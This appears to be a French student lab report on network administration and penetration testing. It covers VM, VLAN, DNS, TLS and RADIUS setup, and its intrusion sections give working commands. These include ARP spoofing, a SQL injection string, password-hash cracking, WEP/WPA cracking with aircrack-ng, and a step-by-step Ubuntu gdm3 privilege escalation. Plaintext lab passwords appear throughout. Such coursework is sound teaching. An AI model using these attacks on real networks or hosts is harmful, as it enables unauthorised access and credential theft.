arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John the Ripper nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" :

[[Fichier:Hack-honey.png|600px]]

=Réalisations=

==Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions virtuelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
mount -a
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

fdisk -l # on repère la clé USB
fdisk /dev/sdb # on formate la clé en une seule partition
cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

mkdir /mnt/USB
mount -t ext4 /dev/mapper/myusbkey /mnt/USB
touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

umount /mnt/USB
cryptsetup luksClose myusbkey

==Sécurisation WiFi par WPA2-EAP ==

===FreeRADIUS===

Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.

On installe le paquet :
apt install freeradius

Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :

client 10.60.100.10/24 {
shortname = Piedbleu
secret = pasglop
}

On ajoute un utilisateur FreeRADIUS "pifou" dans le fichier de configuration /etc/freeradius/3.0/users :

pifou Cleartext-Password := "pasglop"

Pour finir, on configure l'authentification PEAP-MSCHAPv2.

On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :

eap{
...
default_eap_type = peap
...
}

Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap :

use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

===Point d'accès WiFi===

Ensuite, on configure le point d'accès WiFi.

ssh root@10.60.100.10 -c aes128-cbc

aaa authentication login eap_group1 group radius_group8
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop
aaa group server radius radius_group8
server 193.48.57.181 auth-port 1812 acct-port 1813
exit

Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 :

dot11 ssid Piedbleu
vlan 308
authentication open eap eap_group8
authentication network-eap eap_group8
authentication key-management wpa
Mbssid Guest-mode
exit

Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption:

interface Dot11Radio0
Mbssid
encryption vlan 308 mode ciphers aes-ccm tkip
ssid Piedbleu
exit

Encapsulation:

int dot11radio0.8
encapsulation dot1q 308
bridge-group 8
exit
int Gi0.8
encapsulation dot1q 308
bridge-group 8
exit

En n'oubliant pas de démarrer l'interface :

int dot11radio0
no shutdown
end
write

Ping du point d'accès vers notre VM :

[[Fichier:Freeradius-ping.png|600px]]

On observe notre SSID "Piedbleu" :

[[Fichier:Freeradius-ssid.png|600px]]

On s'y connecte avec notre téléphone tout en lançant la commande :

freeradius -X

===DHCP===

'''6509E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.1
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.99
ip dhcp excluded-address 10.60.108.150 10.60.108.255
write
exit
sh ip dhcp binding

'''C9200'''

ssh admin@10.60.100.2

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.2
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.49
ip dhcp excluded-address 10.60.108.100 10.60.108.255
exit
write
sh ip dhcp binding

===Mascarade===

'''6509E'''

int vlan 308
ip nat inside

access-list 108 permit ip 10.60.108.0 0.0.0.255 any
ip nat inside source list 108 interface Loopback0 overload

=Ferme de serveurs Web=

==Architecture générale de la ferme==

===Configuration VM Capbreton===

Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau :

vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',
'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',
]

On redémarre ensuite la VM.

Dans /etc/network/interfaces, on configure notre nouvelle interface :

auto eth1
iface eth1 inet static
address 192.168.42.8
netmask 255.255.255.0

Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

===Configuration VM Chassiron===

Dans /etc/network/interfaces, on configure notre interface :

auto eth0
iface eth0 inet static
address 192.168.42.22
netmask 255.255.255.0
gateway 192.168.42.8

Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

Puis on modifie le fichier /etc/resolv.conf :

domain plil.info
nameserver 192.168.42.8

===Mascarade===

On modifie le fichier /etc/systcl.conf :

net.ipv4.ip_forward=1

Ensuite, on lance les commandes :

apt install iptables-persistent

echo 1 > /proc/sys/net/ipv4/conf/all/forwarding

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32
iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32
iptables -P FORWARD DROP
iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32

Pour tester :

ping 192.168.42.22 #sur la VM capreton
ping 192.168.42.8 #sur la VM chassiron
ping 8.8.8.8 #sur la VM chassiron
apt update #sur la VM chassiron

===Clés SSH===

On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x "entrée") :

ssh-keygen -b 2048

Ensuite, on propage notre clé publique sur toutes les VM secondaires :

for i in $(cat liste_ip.txt); do echo ssh-copy-id root@"$i"; done

Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.

Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :

PermitRootLogin yes

dans le fichier /etc/ssh/sshd_config.

===Installation d'Ansible ===

Nous passons à la configuration de nos serveurs Web. Nous utilisons pour cela le système ansible.
Nous commençons par installer ansible sur notre VM principale :
apt install ansible

Dans le fichier /etc/ansible/hosts, nous créons un inventaire en séparant l’ensemble des serveurs externes du notre :

[[Fichier:hosts1.png]]

===Ansible rôle MOTD===

Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :
fichier playbook.yml

Hosts : vmperso
Roles:
-{ role : adriagalin.motd }

Nous exécutons ensuite notre playbook.yml :
ansible-playbook playbook.yml

Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :

[[Fichier:host.png || 600px]]

===Ansible rôle NTP===

==Installation de Docker==

Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :

[[Fichier:play_docker.png | 600px ]]

Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire.

==Création du conteneur==

==Configuration des serveurs internes==

==Equilibreur de charge==

TP sysres IMA5sc 2020/2021 G8

2020-12-17T16:30:00Z

Jsoulaim : /* Installation d'Ansible */

=Informations générales=

{| class="wikitable"
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6
|-
| https://www.piedbleu.site
| 193.48.57.181
| 100.64.0.21
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
| 10.60.108.254
| 2001:660:4401:60ba::0/64
|}

=Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :

xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :

xl create -c /etc/xen/piedbleu.cfg

Par la suite, pour accéder à la VM, on fera :

xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a

puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=Interconnexion de VLAN=

==Configuration IPv4==

Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.

'''Routeur C9200'''

Nous nous connectons en ssh à partir de notre VM:
ssh admin@10.60.100.2

ensuite :
int vlan 308
vrrp 48 address-family ipv4
address 10.60.108.254
preempt
vrrpv2
end
write

On quitte avec exit et on sauvegarde avec write.

La commande show vlan nous affiche bien notre VLAN configuré.

'''Routeur 6509-E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

int vlan 308
vrrp 48 ip 10.60.108.254
vrrp 48 preempt
vrrp 48 priority 110
end
write

On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.

==Configuration IPv6==

'''Routeur 6509-E'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference High
end
write

'''Routeur C9200'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference Low
end
write

=Services Internet=
==Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, on fait un ssh sur les 2 routeurs, puis:

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

ping google.fr

==Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

service ssh start

Puis sur un autre terminal, on fait un :

ssh root@193.48.57.181

==Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

'''1ère étape: '''

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).

'''2ème étape:'''
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).

'''3ème étape:'''
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

Résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site").

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce répertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande :
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==Sécurisation du serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

On signe ensuite les enregistrements de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

[[Fichier:dnssec1.png | 600px]]

L'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed

nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

==IPv6==

Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site

ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c
www IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c

Ensuite, on resigne le DNS :

dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Et on redémarre bind9.

=Tests d’intrusion=

==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

sudo adduser u1
su u1
id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes.

nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine !

whoami
pwn
id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles :

airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

airmon-ng start wlp1s0mon

On peut ensuite lancer le scan des réseaux wifi environnants :

airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé (message « Key Found »).

==Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID.

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:

airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):

crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par force brute avec la commande suivante :

aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap

Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-6.png|600px]]

==Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

